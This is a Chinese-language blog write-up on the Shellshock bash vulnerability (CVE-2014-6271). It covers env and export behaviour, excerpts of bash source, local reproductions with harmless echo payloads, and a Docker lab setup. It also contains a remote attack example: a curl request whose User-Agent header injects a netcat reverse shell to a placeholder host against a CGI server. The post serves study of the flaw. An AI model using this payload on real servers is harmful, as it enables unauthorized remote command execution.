shellshock—CVE-2014-6271

shell基础

自定义变量

一般来说,自定义变量都是局部变量,一个shell中的局部变量不会被另一个shell读取到,包括子shell。而使用export,将变量设置成环境变量后,可以实现在子进程中该变量依然有效,同时,子进程无法修改父进程中的变量,即使使用export也不行。

env命令

用于显示系统中已存在的环境变量以及在定义的环境中执行指令。

语法=>

env(选项)(参数)

选项=>

-i/- :开始一个新的空的环境 -u<变量名> :从当前环境中删除指定的变量

参数=>

变量定义:定义在新的环境中变量,定义多个变量则用空格隔开。格式为"变量名=值"。

指定:指定要执行的指令各参数

echo命令

用于输出指定内容,其中:

单引号:将' '的内容都作为字符串而忽略所有的命令和特殊字符

双引号:解析内部特殊字符,若需要忽略则利用'\'来转义

反引号:包含一个命令字符串,其中的命令会先执行得到的结果会返回到层命令执行

=>这是一个实验过程中遇到的小问题:

正常实例

小于4.3的bash版本中=>

Bash允许在Bash的shell中使用环境变量来定义函数,如果环境变量的值以字符"( ){"开头,那么这个变量就会被当作是一个导入函数的定义(Export),并且这种定义只有在shell启动的时候生效。

可以看到,在上面这次尝试中我们的VAR变量并没有引入环境变量中。

使用export成功看到环境变量VAR被当作函数执行了。

这里使用env命令在新的环境中先设置了变量,再执行了指定的指令,并且执行完成后当前的环境变量不受影响。bash -c是为了启动bash时就执行VAR函数,这里必须新起一个bash,因为只有bash启动时才会解析函数的定义。

bash 4.4.20中=>

在环境bash 4.4.20版本中, Bash 会把满足 "BASH_FUNC_函数名%%=() { 函数体" 格式的环境变量作为函数源码解析并导入。因此,两个同名的变量和函数也不会冲突,可以同时导入:

env 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'

==>1

env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'

==>1

env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'echo $var'

==>2

 

漏洞原理

看了几份大神们分析源码的报告(也没看明白啥就是了awtcl),大部分都认为漏洞主要利用的地方在于parse_and_execute()这一函数,下面这部分源码在variables.c中代码的315行处,借助注释我们可以看到代码用于初始化当前环境的环境变量:

/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length, ro;
  SHELL_VAR *temp_var;
​
  create_variable_tables ();
​
  for (string_index = 0; string = env[string_index++]; )
    {
      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
    ;
      if (string[-1] == '=')
    char_index = string - name - 1;
​
      /* If there are weird things in the environment, like `=xxx' or a
     string without an `=', just skip them. */
      if (char_index == 0)
    continue;
​
      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
     char_index == strlen (name) */
​
      temp_var = (SHELL_VAR *)NULL;
​
​
/* If exported function, define it now.  Don't import functions from
     the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
    {
      string_length = strlen (string);
      temp_string = (char *)xmalloc (3 + string_length + char_index);
​
      strcpy (temp_string, name);
      temp_string[char_index] = ' ';
      strcpy (temp_string + char_index + 1, string);
​
      if (posixly_correct == 0 || legal_identifier (name))
        parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

parse_and_execute()函数在\bash-4.3\builtins\evalstring.c文件189行处:

if (parse_command () == 0)
    {
      if ((flags & SEVAL_PARSEONLY) || (interactive_shell == 0 && read_but_dont_execute))
        {
          last_result = EXECUTION_SUCCESS;
          dispose_command (global_command);
          global_command = (COMMAND *)NULL;
        }
      else if (command = global_command)
        {
          struct fd_bitmap *bitmap;
​
          bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
          begin_unwind_frame ("pe_dispose");
          add_unwind_protect (dispose_fd_bitmap, bitmap);
          add_unwind_protect (dispose_command, command);    /* XXX */
​
          global_command = (COMMAND *)NULL;
​
          if ((subshell_environment & SUBSHELL_COMSUB) && comsub_ignore_return)
        command->flags |= CMD_IGNORE_RETURN;

这里判断command是否是环境变量,并通过bitmap结构体返回execute_command()函数的运行结果,此处导致恶意代码被执行。

漏洞环境

含有版本号小于bash 4.3的linux或者unix系统

漏洞复现

本地

=>

QWQ='() { echo "T wants to pwn you";};echo "T pwned you"'

QWQ被解析成局部变量,无法在传给子进程,从而不能执行恶意代码

=>

QWQ='() { echo "T wants to pwn you";};echo "T pwned you"' bash

在当前环境中被开启新的shell,自动解析前面的局部变量成函数定义并执行恶意代码

=>

$export QAQ='() { echo "T wants to pwn you";};echo "T pwned you"'
$bash

QAQ是全局变量,开启新的bash并在子进程中可将其解析成函数定义并执行恶意代码

=>

env T='() { echo "T wants to pwn you";};echo "T pwned you"' bash

env指令在新的环境中定义环境变量T,并执行下面的指令,即:bash,而开启了新的bash会解析当前环境中的环境变量T成函数定义,同时执行了恶意代码,并且执行完毕后原先的环境变量并没有被改动。

综合以上四种情况明显看到以最后一种方式进行攻击逻辑最为清晰

因此,通常漏洞的执行payload为:

env VAR='() { :;}; echo Bash is vulnerable!' bash 

其中':'仅表示true,什么都不做。

远程

如果shellshock仅是本地漏洞,那危害不会很大,真正的危害是远程用户利用这一漏洞攻击服务器系统。

bash漏洞导致任意命令被执行的条件:1.程序在某一时刻使用bash作为脚本解释器处理环境变量的赋值 2.环境变量赋值字符串的提交取决于用户的输入。其中,最典型的是运行了CGI的服务器。

通常的攻击实例是利用curl工具,构造出Referer\Cookie\User-Agent等字段,攻击存在Bash漏洞的服务器,可以用于或许服务器的用户及密码,例如:

curl -H 'User-Agent:() { :; }; /bin/bash -c "nc xxx.xxx.xxx xxxx -e /bin/bash -i"'  http://XXX:8080/cgi-bin/XXX.cgi

因为自己对远程服务器和web-CGI等方面了解甚少,通过上面这段翻译猜测,在发送一段http请求后,我们修改了服务器上的环境变量并且服务器自动生成新的bash而导致恶意代码的执行。

附:

利用docker构建shellshock漏洞环境

使用官方脚本一条命令安装docker(我的环境为ubuntu 18.04,非常方便):

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

随后拉取已经搭好漏洞环境的镜像即可~

$docker search shellshock
$docker run -d  hmlio/vaas-cve-2014-6271 // vulnerables/cve-2014-6271  
$docker run -i -t  hmlio/vaas-cve-2014-6271 /bin/bash

源码

下载bash4.3版本=>https://ftp.gnu.org/gnu/bash/

References:

https://zhuanlan.zhihu.com/p/53081337

https://wooyun.js.org/drops/Shellshock%E6%BC%8F%E6%B4%9E%E5%9B%9E%E9%A1%BE%E4%B8%8E%E5%88%86%E6%9E%90%E6%B5%8B%E8%AF%95.html

http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

http://www.freebuf.com/articles/web/45520.html

https://www.guildhab.top/?p=1805

posted @ 2020-01-24 17:43  Theffth  阅读(454)  评论(0编辑  收藏  举报